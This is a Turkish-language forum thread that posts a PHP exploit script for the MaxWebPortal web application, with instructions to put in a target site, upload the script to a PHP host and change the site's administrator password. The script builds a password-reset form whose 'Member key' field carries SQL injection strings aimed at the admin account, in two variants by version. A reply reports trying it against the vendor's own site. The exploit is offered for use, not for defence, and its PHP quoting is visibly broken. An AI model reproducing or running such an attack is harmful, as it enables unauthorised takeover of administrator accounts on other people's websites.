Forum
Aktif konular
Üyeler
Kurallar
Arama
Maxwebportal Exploit Bug Maxwebportal Exploit Bug
-
<?php
/*
------TURKEY NATIONAL HACKING TEAM----------------------
----------------Discovered by: CYB3R-SPY <cyb3r-spy@linuxmail.org>------------------------------------------
*/
# Config ________________________________
# address - example: http://www.site.com/password.asp
$url = "http://www.victim.com/password.asp";
$mh = "s1";
# if webmaxportal version is : Version 1.35 and older please input $mh= "s1"
# if webmaxportal version is : Version 1.36 , 2.0 please input $mh= "s2"
# EnD ___________________________________
if ( $mh == "s1" ) {
print "<form action="$url?mode=reset" method="post"> <br> ";
print "Password1 : <input name="pass" type="text" value="abc123" size="50"><br>";
print "Confirm Pass: <input name="pass2" type="text" value="abc123" size="50"><br>";
print " ID : <input name="memId" type="text" value="-1" size="50"><br>";
print "Member key: <input name="memKey" type="text" value="foo' or M_Name='admin" size="50"><br>";
print "<input name="Submit" type="submit" value=":::Change Pass:::">";
print "</form>";
} if ( $mh == "s2" ) {
print "<form action="$url?mode=reset" method="post"> <br> ";
print "Password1: <input name="pass" type="text" value="abc123" size="50"><br>";
print "Confirm Pass : <input name="pass2" type="text" value="abc123" size="50"><br> ";
print "ID : <input name="memId" type="text" value="-1" size="50"><br> ";
print "Member key: <input name="memKey" type="text" value="foo') or M_Name='admi n' or ('1'='2" size="50"> <br>";
print "<input name="Submit" type="submit" value=":::Change Pass:::">";
print "</form>";
}
?>
www.victim.com yazan yere siz hacklenecek siteyi yazıyorsunuz daha sonra bunu php destekli bir yere upload ediyorsunuz..Daha sonra da sitede admin şifresini bile değişebiliyorsunuz..
CYB3R-SPY
-
Kardeş hostuma attim. www.maxwebportal.com yazarak ama çalışmadı sanirim yöntem biraz eskidi maxwebportalin kendi sayfasinda açik kapandi..
Kısayol
Şikayet
Özel Mesaj
Alıntı yap
Toplam Hit: 2116 Toplam Mesaj: 2
Cevapla